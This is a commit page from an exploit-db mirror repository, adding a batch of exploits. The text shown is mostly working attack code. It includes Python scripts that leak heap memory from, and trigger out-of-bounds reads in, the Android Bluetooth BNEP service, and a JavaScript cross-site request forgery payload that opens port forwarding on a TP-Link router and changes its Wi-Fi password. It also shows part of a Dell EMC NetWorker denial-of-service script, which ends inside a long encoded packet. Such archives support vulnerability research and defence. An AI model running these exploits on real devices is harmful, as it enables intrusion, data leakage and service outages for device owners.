bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2018-03-24

Browse source 
14 changes to exploits/shellcodes

Android Bluetooth -  BNEP bnep_data_ind() Remote Heap Disclosure
Android Bluetooth -  BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
Dell EMC NetWorker - Denial of Service
WM Recorder 16.8.1 - Denial of Service
Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service
Allok Quicktime to AVI MPEG DVD Converter 4.6.1217 - Stack-Based Buffer Overflow
Crashmail 1.6 - Stack-Based Buffer Overflow ( ROP execve )
Easy CD DVD Copy 1.3.24 - Local Buffer Overflow (SEH)
Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 - 170109) - Access Control Bypass
TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery
XenForo 2 - CSS Loader Denial of Service
MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting
Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion

Linux/x86 - EggHunter Shellcode (11 Bytes)
This commit is contained in:
Offensive Security 2018-03-24 05:01:48 +00:00
parent 31a39a07b9
commit e3fb91f1d7
16 changed files with 1647 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

66
exploits/android/dos/44326.py Executable file
View file

@ -0,0 +1,66 @@
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20
def leak(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'
for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_not_understood() contains 3 bytes:
# 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte
# 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80
# 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
ext = 0x80
# i -> length (the 'p' pointer is advanced by this length)
bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''
if data:
print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
else:
print 'heap[p + 0x%02x] <= 6' % (i)
print 'Closing connection.'
bnep.close()
def main(src_bdaddr, dst):
os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
os.system('hcitool dc %s' % (dst,))
leak(src_bdaddr, dst)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])

57
exploits/android/dos/44327.py Executable file
View file

@ -0,0 +1,57 @@
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01
# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def oob_read(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from out of bounds
bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''
if data:
print '%r' % data
else:
print '[No data]'
print 'Closing connection.'
bnep.close()
def main(src_hci, dst):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))
oob_read(src_hci, dst)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])

31
exploits/hardware/webapps/44335.js Normal file
View file

@ -0,0 +1,31 @@
/*
Exploit Title: TL-WR720N 150Mbps Wireless N Router - CSRF
Date: 21-3-2018
Exploit Author: Mans van Someren
Vendor Homepage: https://www.tp-link.com/
Software Link: https://static.tp-link.com/resources/software/TL-WR720N_V1_130719.zip
Version: All versions because its a 0day
Testen on: Google Chrome - Windows 10
this is only a portforwarding & change wifi password PoC but every action I found on the router is vulnerable to CSRF
*/
var ROUTER_HOSTS = ['192.168.0.1', '192.168.1.1'];
var ROUTER_PORTS = ['80', '8080'];
function portforward(router_host, router_port, host, port) {
var img = new Image();
img.src = 'http://' + router_host + ':' + router_port + '/userRpm/VirtualServerRpm.htm?Port=' + port + '&Ip=' + host + '&Protocol=1&State=1&Commonport=0&Changed=0&SelIndex=0&Page=1&Save=Save';
}
function change_wifi_pass(router_host, router_port, newpass) {
var img = new Image();
img.src = 'http://' + router_host + ':' + router_port + '/userRpm/WlanSecurityRpm.htm?vapIdx=1&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=86400&secType=3&pskSecOpt=2&pskCipher=3&pskSecret=' + newpass + '&interval=86400&Save=Save';
}
for (var i = 0; i < ROUTER_HOSTS.length; i++) {
for (var j = 0; j < ROUTER_PORTS.length; j++) {
portforward(ROUTER_HOSTS[i], ROUTER_PORTS[j], '192.168.0.1', '23');
change_wifi_pass(ROUTER_HOSTS[i], ROUTER_PORTS[j], 'pwned123');
}
}

879
exploits/linux/dos/44332.py Executable file
View file

@ -0,0 +1,879 @@
'''
# Exploit Title: Dell EMC NetWorker DoS PoC
# Date: 18.03.2018
# Exploit Author: Marek Cybul
# Vendor Homepage: https://www.emc.com/data-protection/networker.htm
# Versions:
Dell EMC NetWorker versions prior to 9.2.1.1
Dell EMC NetWorker versions prior to 9.1.1.6
Dell EMC NetWorker 9.0.x
Dell EMC NetWorker versions prior to 8.2.4.11
# Tested on: 8.2.1.2.Build.764 and 9.1.0.4.Build.82 RHEL7
# CVE : CVE-2018-1218
http://seclists.org/fulldisclosure/2018/Mar/43
'''
#!/usr/bin/python
import sys, base64, socket, time
scan = False
if len(sys.argv) < 2:
print "USAGE: ./emc_networker_dos.py <addr> <nsrd_port>"
sys.exit(1)
elif len(sys.argv) == 2:
nsrd_addr = str(sys.argv[1])
print "[i] Scanning for active nsrd service..."
nsrd_port = 0
else:
nsrd_addr = str(sys.argv[1])
nsrd_port = int(sys.argv[2])
part1 = """gAABBEoWuaoAAAAAAAAAAgAF890AAAACAAAAaAAAdT0AAAAIAAAAAVoVhWQAAAAAAAAAAAAAAAEA
AABhY3Rpb24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAA
AAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAF
TW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAAB
AAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZw
ZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAA
AAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1
bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAA
AAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3Zl
cnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAA
AAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkA
AAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEA
AAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUA
AAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAA
AAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAA
AAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAA
BGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24A
AAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAI
b3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAA
AAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRo
bHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAA
AAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5h
bWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAA
AQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAA
AAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAAB
AAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0
b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEA
AAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgA
AAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01v
bnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QA
AAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAA
BG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAA
AAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAAB
cwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUA
AAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAA
AAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAA
AAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9u
dGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAA
B01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJp
b2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAAB
AAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwA
AAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEA
AAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJp
ZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAA
AQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAA
AAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAF
TW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAAB
AAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZw
ZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAA
AAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1
bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAA
AAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3Zl
cnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAA
AAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkA
AAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEA
AAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUA
AAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAA
AAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAA
AAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAA
BGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24A
AAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAI
b3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAA
AAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRo
bHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAA
AAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5h
bWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAA
AQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAA
AAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAAB
AAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0
b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEA
AAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgA
AAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01v
bnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QA
AAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAA
BG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAA
AAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAAB
cwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUA
AAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAA
AAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAA
AAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9u
dGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAA
B01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJp
b2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAAB
AAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwA
AAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEA
AAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJp
ZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAA
AQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAA
AAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAF
TW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAAB
AAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZw
ZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAA
AAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1
bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAA
AAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3Zl
cnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAA
AAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkA
AAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEA
AAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUA
AAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAA
AAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAA
AAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAA
BGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24A
AAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAI
b3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAA
AAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRo
bHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAA
AAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5h
bWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAA
AQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAA
AAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAAB
AAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0
b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEA
AAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgA
AAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01v
bnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QA
AAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAA
BG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAA
AAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAAB
cwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUA
AAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAA
AAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAA
AAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9u
dGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAA
B01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJp
b2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAAB
AAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwA
AAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEA
AAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJp
ZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAA
AQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAA
AAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAF
TW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAAB
AAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZw
ZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAA
AAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1
bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAA
AAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3Zl
cnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAA
AAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkA
AAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEA
AAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUA
AAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAA
AAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAA
AAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAA
BGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24A
AAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAI
b3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAA
AAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRo
bHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAA
AAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5h
bWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAA
